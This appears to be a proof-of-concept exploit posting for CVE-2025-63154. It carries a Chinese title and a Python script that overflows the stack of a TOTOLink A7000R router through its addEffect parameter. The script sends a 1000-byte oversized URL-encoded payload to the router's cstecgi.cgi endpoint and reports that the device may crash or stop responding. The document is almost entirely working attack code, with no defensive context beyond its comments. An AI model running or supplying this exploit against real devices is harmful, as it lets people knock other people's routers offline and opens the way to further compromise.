CVE-2025-63154 TOTOLink A7000R addEffect参数栈溢出漏洞

import requests import urllib.parse # CVE-2025-63154 PoC - TOTOLink A7000R Stack Overflow in addEffect parameter # Target: TOTOLink A7000R V9.1.0u.6115_B20201022 # Vulnerability: Stack overflow in urldecode function via addEffect parameter target_ip = "192.168.0.1" # Default TOTOLink router IP target_url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Generate payload with oversized URL-encoded string to trigger stack overflow # The addEffect parameter is vulnerable when processed by urldecode function payload_size = 1000 # Adjust size based on buffer boundaries overflow_payload = "A" * payload_size url_encoded_payload = urllib.parse.quote(overflow_payload) # Construct the POST request with malicious addEffect parameter data = { "addEffect": url_encoded_payload, "topicurl": "app/advanced" } try: print(f"[*] Sending malicious request to {target_url}") print(f"[*] Payload size: {payload_size} bytes") response = requests.post(target_url, data=data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[*] DoS condition triggered - Router may crash or become unresponsive") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")